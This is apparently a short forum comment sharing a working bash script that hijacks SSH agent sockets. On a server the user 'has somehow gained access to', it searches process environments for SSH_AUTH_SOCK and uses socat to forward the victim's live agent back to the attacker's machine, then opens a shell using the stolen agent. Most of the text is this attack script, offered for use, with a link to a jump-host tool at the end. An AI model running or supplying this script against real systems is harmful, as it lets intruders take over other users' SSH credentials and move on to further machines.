Something I cooked up a while ago: #!/bin/bash REMOTE_HOST=$1 REMOTE_SSH_AUTH_SOCK=`ssh $REMOTE_HOST 'find /proc -maxdepth 2 -user \$USER -wholenam

Something I cooked up a while ago: #!/bin/bash REMOTE_HOST=$1 REMOTE_SSH_AUTH_SOCK=`ssh $REMOTE_HOST 'find /proc -maxdepth 2 -user \$USER -wholename */environ 2>/dev/null | xargs grep -zhm1 SSH_AUTH_SOCK 2>/dev/null' | tr '\0' '\n' | head -n1 | cut -d = -f 2` if [ -n "$REMOTE_SSH_AUTH_SOCK" ] then echo Found remote agent socket $REMOTE_SSH_AUTH_SOCK HIJACKED_SSH_AUTH_SOCK=/dev/shm/agentjack_$REMOTE_HOST socat UNIX-LISTEN:$HIJACKED_SSH_AUTH_SOCK,reuseaddr,fork EXEC:"'ssh -q $1 socat STDIO UNIX-CONNECT:$REMOTE_SSH_AUTH_SOCK'" & SOCAT_PID=$! export SSH_AUTH_SOCK=$HIJACKED_SSH_AUTH_SOCK bash kill $SOCAT_PID fi This will connect to a server that you have somehow gained access to, find an agent socket, and reverse-forward the agent to the system you're connecting from. Depends on socat being installed on the server, though, which is somewhat uncommon. I wrote a tool a while ago that automates using ssh jump hosts which may be of interest. https://github.com/ryancdotorg/ssh-chain https://github.com/ryancdotorg/ssh-chain